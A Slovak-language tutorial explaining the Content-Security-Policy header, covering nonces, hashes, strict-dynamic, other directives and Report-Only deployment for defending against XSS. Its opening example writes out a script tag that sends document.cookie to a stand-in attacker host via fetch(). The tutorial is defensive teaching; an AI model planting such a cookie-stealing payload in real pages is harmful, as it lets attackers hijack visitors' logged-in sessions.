Ako funguje Content-Security-Policy hlavička a prečo ju potrebuješ
Predstav si diskusný formulár na tvojom webe, kde návštevníci píšu komentáre. Útočník namiesto bežného textu odošle do poľa tento HTML kód:
HTML
<script>
fetch('https://xss.test/XyZ...?cookie=' + document.cookie)
</script>
Ak tvoja stránka tento vstup bez ošetrenia rovno vypíše do HTML, prehliadač každého ďalšieho návštevníka skript jednoducho spustí. Ten mu následne potichu ukradne prihlasovacie cookies a odošle ich útočníkovi. Presne toto je klasický XSS (Cross-Site Scripting) útok.
Hore uvedený príklad využíva takzvaný inline skript (kód napísaný priamo v tele HTML). Prísna politika CSP (Content Security Policy) ich z bezpečnostných dôvodov blokuje. Prehliadač totiž nedokáže rozlíšiť, či inline kód pochádza od teba ako autora, alebo ho tam podstrčil útočník.
Častá chyba: Mnoho vývojárov sa v tomto momente frustrovane vzdá a do hlavičky pridá pravidlo
'unsafe-inline'. Týmto krokom v podstate vypneš hlavnú ochranu proti XSS a celá CSP hlavička stráca zmysel.
Ako to vyriešiť správne
Máš k dispozícii štyri hlavné cesty, ako prehliadaču dokázať, že spúšťaný kód je bezpečný a pochádza naozaj od teba:
1. Presuň kód do externých súborov (Najlepšia cesta)
Namiesto inline handlerov ako onclick="..." použi v samostatnom .js súbore čistý addEventListener. Pri inline eventoch (atribútoch typu onclick) ti totiž nepomôžu ani pokročilé techniky ako nonce – moderné prehliadače ich v rámci CSP blokujú bez výnimky.
2. Použi nonce (Jednorazový token)
Pre klasické <script> tagy, ktoré musia zostať v HTML, vygeneruje tvoj backend pri každej požiadavke náhodný reťazec. Tento reťazec (token) vložíš do CSP hlavičky aj do samotného skriptu:
HTML
<script nonce="XyZ...">
// ...tvoj bezpečný kód...
</script>
HTTP
Content-Security-Policy: script-src 'nonce-XyZ...'
Prehliadač skript spustí iba vtedy, ak sa token v HTML presne zhoduje s tokenom v HTTP hlavičke.
- Dôležité upozornenie: Nonce musí byť kryptograficky náhodný (generovaný napr. cez
crypto.randomBytes(), nie pomocouMath.random()) a dostatočne dlhý – odporúča sa minimálne 128 bitov entropie zakódovaných v base64. Krátky alebo predvídateľný nonce ako"abc123"útočník ľahko uhádne.
3. Alternatíva pre statický obsah: Hash-based CSP
Ak máš inline skript, ktorý sa nemení pri každej požiadavke (typicky na statických stránkach bez backendu, kde nemáš ako generovať nonce), môžeš v hlavičke použiť hash jeho obsahu:
HTTP
Content-Security-Policy: script-src 'sha256-XyZ...'
Prehliadač si sám spočíta SHA hash obsahu skriptu a porovná ho s hodnotou v hlavičke. Ak sa zhodujú, skript sa spustí.
- Nevýhoda: Akákoľvek zmena v skripte – čo i len jedna pridaná medzera – zmení výsledný hash. Kód preto musíte prepočítať a aktualizovať aj v hlavičke. Hodí sa to najmä pre stabilný, málokedy sa meniaci kód.
4. strict-dynamic pre moderné aplikácie
Pri komplexnejších aplikáciách (bundlery, dynamicky vkladané skripty cez document.createElement) sa nonce často kombinuje s direktívou strict-dynamic:
HTTP
Content-Security-Policy: script-src 'nonce-XyZ...' 'strict-dynamic'
Vďaka tomu skript, ktorý má platný nonce, automaticky „prenesie“ dôveru na ďalšie skripty, ktoré sám vytvorí. Nemusíš tak ručne whitelistovať každú tretiu doménu (CDN, analytiku a pod.) v script-src, čo zjednodušuje politiku a znižuje riziko, že na niečo zabudneš.
CSP nestráži len skripty. Čo všetko ešte dokážeš ošetriť?
Rovnakú logiku obmedzovania zdrojov vieš uplatniť na kompletný obsah svojho webu. CSP ti dáva plnú kontrolu nad takmer všetkým, čo prehliadač zo stránky sťahuje:
- Štýly (
style-src): Aj cez CSS dokáže útočník narobiť neplechu – napríklad podstrčiť škodlivé animácie alebo pozmeniť vizuál stránky (clickjacking). Pomocoustyle-srczakážeš nebezpečné inline štýly v atribútochstyle="..."(ktoré by si mal vytiahnuť do externého CSS súboru) a pre povolené<style>tagy v HTML použiješ rovnaký nonce alebo hash ako pri skriptoch. - Fonty (
font-src): Určuje, odkiaľ môže web sťahovať písma. Ak používaš Google Fonts alebo lokálne fonty, povolíš iba tie a zamedzíš tomu, aby prehliadač sťahoval neznáme fonty z cudzích, potenciálne nebezpečných serverov. - Obrázky a médiá (
img-src,media-src): Definuje povolené zdroje pre obrázky, ikony, audio či video. Útočníci niekedy zneužívajú načítanie skrytých obrázkov z ich serverov na sledovanie používateľov (tzv. tracking pixely). - Pripojenia a AJAX (
connect-src): Táto direktíva obmedzuje ciele, na ktoré môže tvoj web posielať dáta cezfetch(),XMLHttpRequest, WebSockety alebo Beacon API. Predstavuje kritickú druhú líniu ochrany: aj keby útočník nejako prepašoval skript na tvoj web, ak muconnect-srcnedovolí odoslať ukradnuté dáta na jeho serverhttps://xss.test, celá jeho snaha zlyhá. - Základný záchranný kruh (
default-src): Ak sa ti nechce písať pravidlo pre každý jeden typ obsahu zvlášť, definujdefault-src. Slúži ako záloha (fallback) – všetko, čo explicitne nešpecifikuješ (napríklad spomínané fonty či obrázky), sa bude automaticky riadiť týmto základným pravidlom (často sa nastavuje na'self', teda iba tvoj vlastný web).
Ako nasadiť CSP na ostrý web bez toho, aby si ho znefunkčnil
Nasadiť prísnu CSP „naostro“ na starší rozbehnutý projekt môže byť nočná mora, pretože riskuješ znefunkčnenie kľúčových prvkov webu. Tvorcovia špecifikácie na to našťastie mysleli a vytvorili testovací režim pomocou hlavičky Content-Security-Policy-Report-Only.
Ak zmeníš názov hlavičky na tento, prehliadač nebude reálne nič blokovať. Ak však narazí na porušenie nastavených pravidiel, pošle o tom podrobnú správu (JSON report) na adresu, ktorú mu určíš:
HTTP
Content-Security-Policy-Report-Only: default-src 'self'; report-uri https://report.test/XzY...;
Poznámka ku kompatibilite: Staršia direktíva
report-urisa dnes postupne nahrádza modernejšoureport-to. Kvôli spätnej kompatibilite so staršími prehliadačmi sa však v praxi stále masívne využívajú obe súčasne.
V logoch potom presne uvidíš, ktoré skripty, štýly alebo iné zdroje by tvoja nová politika reálne zablokovala. Môžeš ich v pokoji opraviť a až keď logy zostanú úplne čisté, prepneš sa na ostrú hlavičku Content-Security-Policy.
Zhrnutie: Čo použiť kedy?
| Situácia / Problém | Správne riešenie |
Event handlery (onclick, onload…) | Presunúť do externého .js súboru + použiť addEventListener |
Inline <script> + dynamický backend | Nonce (kryptograficky bezpečný, generovaný per request) |
Inline <script> + statický web bez backendu | Hash (sha256-XyZ... obsahu skriptu) |
| Dynamicky vkladané skripty (bundlery, CDN) | Kombinácia Nonce + 'strict-dynamic' |
Inline štýly (<style> tagy alebo atribúty) | Presunúť do .css súboru, prípadne použiť nonce/hash v style-src |
| Externé fonty (napr. Google Fonts) | Povoliť konkrétnu doménu (napr. https://fonts.gstatic.com) vo font-src |
| Odchádzajúce API požiadavky a WebSockety | Obmedziť cieľové servery pomocou connect-src |
| Nasadenie na existujúci produkčný web | Použiť hlavičku Content-Security-Policy-Report-Only počas testovacej fázy |
Užitočné nástroje na záver
Nemusíš všetko písať z hlavy a triafať naslepo. Pomôž si týmito bezplatnými nástrojmi:
- Google CSP Evaluator: Vložíš sem text svojej hlavičky a Google ti okamžite povie, či v nej nemáš logické chyby alebo nebezpečné slabé miesta.
- Report-URI / URIports / Sentry: Špecializované služby, ktoré ti vygenerujú unikátnu URL adresu pre tvoj reportovací endpoint. Všetky hlásenia o porušení politiky z prehliadačov používateľov ti prehľadne zozbierajú, prefiltrujú a ukážu v grafoch, takže hneď vidíš, čo na webe opraviť.
CSP hlavička síce vyžaduje trochu plánovania a poctivého testovania, no masívna vrstva bezpečnosti, ktorú tvojmu webu a používateľom prinesie, za tú námahu rozhodne stojí.
